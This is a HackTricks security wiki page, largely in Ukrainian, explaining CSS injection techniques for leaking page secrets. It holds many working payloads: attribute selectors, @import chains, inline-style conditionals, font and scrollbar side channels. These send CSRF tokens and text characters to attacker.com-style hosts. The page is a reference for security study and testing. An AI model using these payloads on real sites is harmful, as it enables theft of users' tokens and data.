CSS Injection
Reading time: 23 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
CSS Injection
Attribute Selector
CSS-селектори створюються, щоб відповідати значенням атрибутів name
і value
елемента input
. Якщо атрибут value
елемента input
починається з певного символу, завантажується заздалегідь визначений зовнішній ресурс:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Однак цей підхід має обмеження при роботі з прихованими елементами input (type="hidden"
), оскільки приховані елементи не завантажують фони.
Обхід для прихованих елементів
Щоб обійти це обмеження, ви можете націлитися на наступний елемент-сусід за допомогою загального селектора-сусіда ~
. Тоді CSS-правило застосовується до всіх елементів, що йдуть після прихованого input, змушуючи фонове зображення завантажитись:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Практичний приклад експлуатації цієї техніки детально наведено в наведеному фрагменті коду. Ви можете переглянути його тут.
Попередні умови для CSS Injection
Для того, щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови:
- Payload Length: Вектор CSS Injection має підтримувати достатньо довгі payloads, щоб вмістити сконструйовані selectors.
- CSS Re-evaluation: Потрібно мати можливість frame-увати сторінку, що необхідно для тригера повторної оцінки CSS зі щойно згенерованими payloads.
- External Resources: Техніка припускає можливість використовувати зовнішньо розміщені зображення. Це може бути обмежено Content Security Policy (CSP) сайту.
Blind Attribute Selector
Як пояснено в цьому дописі, можна комбінувати селектори :has
та :not
для виявлення вмісту навіть з blind elements. Це дуже корисно, коли ви не маєте уявлення, що знаходиться на веб-сторінці, яка завантажує CSS injection.
Також можливо використовувати ці селектори для витягнення інформації з кількох блоків одного типу, як у:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Поєднавши це з наступною технікою @import, можна exfiltrate багато info using CSS injection from blind pages with blind-css-exfiltration.
@import
Попередня техніка має деякі недоліки — перевірте prerequisites. Вам потрібно або мати можливість відправити жертві кілька посилань, або мати можливість iframe сторінку, вразливу до CSS injection.
Однак існує ще одна хитра техніка, що використовує CSS @import
для підвищення ефективності.
Це вперше показав Pepe Vila і працює це так:
Замість того, щоб завантажувати ту саму сторінку знову і знову з десятками різних payloads кожного разу (як у попередньому прикладі), ми завантажимо сторінку лише один раз і тільки з import на attacker's server (це payload, який треба надіслати victim'у):
@import url("//attacker.com:5001/start?");
- The import отримає деякий CSS script від attackers, і browser його завантажить.
- Перша частина CSS script, яку attacker надішле, — це ще один
@import
до attackers server. - attackers server поки не відповість на цей запит, бо ми хочемо leak деякі chars, а потім відповісти на цей import payload-ом, щоб leak наступні.
- Друга і більша частина payload буде attribute selector leakage payload
- Це надішле до attackers server перший char секрету та останній
- Як тільки attackers server отримає перший і останній char секрету, він відповість на import, запитаний у кроці 2.
- Відповідь буде точно такою ж, як steps 2, 3 and 4, але цього разу вона спробує знайти другий char секрету, а потім передостанній.
The attacker will follow that loop until it manages to leak completely the secret.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
tip
Скрипт намагатиметься виявляти по 2 chars за ітерацію (з початку і з кінця), оскільки attribute selector дозволяє робити такі речі:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Це дозволяє скрипту leak секрет швидше.
warning
Іноді скрипт неправильно визначає, що виявлений префікс + суфікс вже становить повний flag, і він продовжить вперед (у префіксі) і назад (у суфіксі), в результаті чого в якийсь момент зависне.
Не хвилюйтеся, просто перевірте output, тому що ви можете побачити flag там.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
Цей примітив дозволяє exfiltration, використовуючи лише inline style атрибут елемента, без селекторів чи зовнішніх stylesheet-ів. Він базується на CSS custom properties, функції attr() для читання same-element attributes, нових CSS if() умов для розгалужень та image-set() для тригера мережевого запиту, який кодує знайдене значення.
warning
Порівняння рівності в if() вимагають подвійних лапок для string literals. Одинарні лапки не співпадуть.
- Sink: контролюйте style attribute елемента і переконайтесь, що target attribute знаходиться на тому ж елементі (attr() читає лише same-element attributes).
- Read: скопіюйте атрибут у CSS variable:
--val: attr(title)
. - Decide: оберіть URL за допомогою вкладених conditionals, порівнюючи змінну зі строковими кандидатами:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: застосуйте
background: image-set(var(--steal))
(або будь-яку властивість, що робить fetch) щоб примусити запит до обраного endpoint.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Робочий payload (для порівняння потрібні подвійні лапки):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Перерахування значень атрибутів із вкладеними умовами:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Реалістична демонстрація (перевірка імен користувачів):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Примітки та обмеження:
- Працює у браузерах на основі Chromium на момент дослідження; поведінка може відрізнятися в інших рушіях.
- Найкраще підходить для скінченних/перелічуваних просторів значень (IDs, flags, short usernames). Викрадення довільно довгих рядків без зовнішніх стилів залишається складним.
- Будь-яка CSS-властивість, яка отримує URL, може бути використана для ініціювання запиту (наприклад, background/image-set, border-image, list-style, cursor, content).
Автоматизація: Burp Custom Action може генерувати вкладені inline-style payloads для brute-force перебору значень атрибутів: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Інші селектори
Інші способи доступу до частин DOM за допомогою CSS selectors:
.class-to-search:nth-child(2)
: Це знайде другий елемент з класом "class-to-search" у DOM.:empty
селектор: Використовується, наприклад, у this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Посилання: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Загальна мета — використати кастомний шрифт з контрольованого endpoint і забезпечити, що текст (в цьому випадку 'A') відображається цим шрифтом лише якщо вказаний ресурс (favicon.ico
) не може бути завантажений.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Використання власного шрифту:
- Власний шрифт визначається за допомогою правила
@font-face
всередині тега<style>
в секції<head>
. - Шрифт названо
poc
і він завантажується з зовнішнього сервера (http://attacker.com/?leak
). - Властивість
unicode-range
встановлено вU+0041
, націлюючи конкретний Unicode-символ 'A'.
- Елемент
<object>
з резервним текстом:
- У секції
<body>
створюється елемент<object>
зid="poc0"
. Цей елемент намагається завантажити ресурс зhttp://192.168.0.1/favicon.ico
. - Для цього елемента властивість
font-family
встановлена в'poc'
, як визначено в секції<style>
. - Якщо ресурс (
favicon.ico
) не вдасться завантажити, всередині тега<object>
відображається резервний вміст (літера 'A'). - Резервний вміст ('A') буде відрендерено з використанням власного шрифту
poc
, якщо зовнішній ресурс не може бути завантажений.
Стилізація Scroll-to-Text Fragment
Псевдоклас :target
використовується, щоб вибрати елемент, на який посилається URL fragment, як зазначено в CSS Selectors Level 4 specification. Важливо розуміти, що ::target-text
не відповідає жодним елементам, якщо текст явно не вказано у фрагменті.
Виникає проблема безпеки, коли зловмисники експлуатують функцію Scroll-to-text, що дозволяє їм підтвердити наявність конкретного тексту на веб-сторінці шляхом завантаження ресурсу з їхнього сервера через HTML-ін'єкцію. Метод полягає у впровадженні CSS-правила на кшталт цього:
:target::before {
content: url(target.png);
}
У таких сценаріях, якщо на сторінці присутній текст "Адміністратор", запитується з сервера ресурс target.png
, що вказує на наявність цього тексту. Приклад такої атаки може бути виконаний через спеціально сформований URL, який вбудовує ін'єкований CSS разом зі Scroll-to-text fragment:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Тут атака маніпулює HTML injection, щоб передати CSS-код, націлюючись на конкретний текст "Administrator" через Scroll-to-text fragment (#:~:text=Administrator
). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сповіщаючи про його наявність зловмисника.
Для зменшення ризику слід звернути увагу на такі моменти:
- Обмежене зіставлення STTF: Scroll-to-text Fragment (STTF) призначений для зіставлення лише слів або речень, тим самим обмежуючи його здатність до leak довільних секретів або токенів.
- Restriction to Top-level Browsing Contexts: STTF працює виключно в top-level browsing contexts і не функціонує в межах iframes, через що будь-яка спроба exploitation стає більш помітною для користувача.
- Необхідність user-activation: STTF вимагає жесту user-activation для роботи, тобто exploitation можливі лише через навігації, ініційовані користувачем. Це суттєво зменшує ризик автоматизованих атак без взаємодії користувача. Проте автор blog post зазначає конкретні умови та обходи (наприклад, social engineering, взаємодія з поширеними browser extensions), які можуть полегшити автоматизацію атаки.
Усвідомлення цих механізмів і потенційних вразливостей є ключовим для підтримання веб-безпеки та захисту від таких експлуативних тактик.
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Можна переглянути an exploit using this technique for a CTF here.
@font-face / unicode-range
Ви можете вказати зовнішні шрифти для конкретних unicode values, які будуть завантажені лише якщо ці unicode values присутні на сторінці. Наприклад:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
Коли ви заходите на цю сторінку, Chrome і Firefox роблять запити "?A" та "?B", тому що текстовий вузол sensitive-information містить символи "A" і "B". Але Chrome і Firefox не роблять запит "?C", оскільки він не містить "C". Це означає, що нам вдалося прочитати "A" і "B".
Text node exfiltration (I): ligatures
Джерело: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Описана техніка полягає у витяганні тексту з вузла шляхом експлуатації ligatures шрифтів і моніторингу змін ширини. Процес включає кілька кроків:
- Creation of Custom Fonts:
- Створюються SVG fonts з glyphs, що мають атрибут
horiz-adv-x
, який задає велику ширину для glyph, що представляє послідовність з двох символів. - Приклад SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, де "XY" позначає послідовність з двох символів. - Ці шрифти потім конвертують у woff формат за допомогою fontforge.
- Detection of Width Changes:
- CSS використовується, щоб текст не переносився (
white-space: nowrap
) і щоб кастомізувати стиль scrollbar. - Поява горизонтального scrollbar, стилізованого особливим чином, виступає індикатором (oracle), що певна ligature, а отже і певна послідовність символів, присутня в тексті.
- Залучений CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Step 1: Створюються шрифти для пар символів з великою шириною.
- Step 2: Використовується трюк з scrollbar для виявлення моменту, коли рендериться glyph великої ширини (ligature для пари символів), що вказує на наявність цієї послідовності символів.
- Step 3: Після виявлення ligature генеруються нові glyphs, що представляють послідовності з трьох символів, включаючи виявлену пару і додаючи передуючий або наступний символ.
- Step 4: Проводиться виявлення трисимвольної ligature.
- Step 5: Процес повторюється, поступово розкриваючи весь текст.
- Optimization:
- Поточний метод ініціалізації з використанням
<meta refresh=...
не є оптимальним. - Більш ефективний підхід може використовувати трюк з
@import
в CSS, що покращить продуктивність експлойту.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Джерело: PoC using Comic Sans by @Cgvwzq & @Terjanq
Цей трюк було оприлюднено в цій Slackers thread. Charset, що використовується в текстовому вузлі, може бути витяжено з використанням стандартних шрифтів, встановлених у браузері: не потрібні зовнішні чи кастомні шрифти.
Концепція базується на використанні анімації для поступового розширення ширини div
, що дозволяє одному символу за раз переходити з частини тексту 'suffix' до частини 'prefix'. Цей процес фактично розділяє текст на дві секції:
- Prefix: початкова лінія.
- Suffix: наступна(і) лінія(і).
Стадії переходу символів виглядатимуть так:
C
ADB
CA
DB
CAD
B
CADB
Під час цього переходу застосовується трюк з unicode-range для ідентифікації кожного нового символу, коли він приєднується до prefix. Це досягається шляхом перемикання шрифту на Comic Sans, який помітно вищий за стандартний шрифт, внаслідок чого з'являється вертикальний scrollbar. Поява цього scrollbar опосередковано виявляє присутність нового символу в prefix.
Хоча цей метод дозволяє виявити унікальні символи в міру їх появи, він не вказує, який саме символ повторюється — лише те, що відбулося повторення.
tip
В основному unicode-range використовується для виявлення char, але оскільки ми не хочемо завантажувати зовнішній шрифт, потрібно знайти інший спосіб.
Коли char знайдено, йому присвоюється попередньо встановлений шрифт Comic Sans, який робить char більшим і викликає появу смуги прокрутки, що призведе до leak знайденого char.
Перегляньте код, витягнутий з PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset за допомогою стандартного шрифту шляхом приховування елементів (не вимагає зовнішніх ресурсів)
Reference: Це згадується як неуспішне рішення в цьому розборі
Цей випадок дуже схожий на попередній, проте тут мета — зробити певні символи більшими за інші, щоб приховати щось (наприклад кнопку, яку бот не має натискати, або зображення, що не буде завантажене). Таким чином можна виміряти дію (або її відсутність) і дізнатися, чи присутній конкретний символ у тексті.
Text node exfiltration (III): leaking the charset за допомогою таймінгу кешу (не вимагає зовнішніх ресурсів)
Reference: Це згадується як неуспішне рішення в цьому розборі
У цьому випадку ми можемо спробувати leak, чи присутній символ у тексті, завантаживши фейковий шрифт з того самого origin:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Якщо є відповідність, шрифт буде завантажений з /static/bootstrap.min.css?q=1
. Хоча він не завантажиться успішно, браузер має зберегти його в кеші, і навіть якщо кешу немає, існує механізм 304 not modified, тож відповідь має бути швидшою, ніж інші ресурси.
Однак, якщо різниця в часі між кешованою відповіддю та некешованою недостатня, це не буде корисним. Наприклад, автор зазначив: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1
flag, which is really thoughtful.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Посилання: Це згадується як an unsuccessful solution in this writeup
У цьому випадку можна вказати CSS для завантаження сотень фейкових шрифтів з того самого origin, коли відбувається відповідність. Таким чином можна виміряти час, який це займає, і визначити, чи з’являється символ, чи ні, за допомогою чогось на кшталт:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
А код бота виглядає так:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Отже, якщо шрифт не збігається, очікуваний час відповіді при зверненні до bot становить приблизно 30 секунд. Якщо ж є збіг шрифта, надсилається кілька запитів для завантаження шрифту, що викликає постійну мережеву активність. Це затримує виконання умови зупинки й отримання відповіді. Тож час відповіді можна використовувати як індикатор наявності збігу шрифта.
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.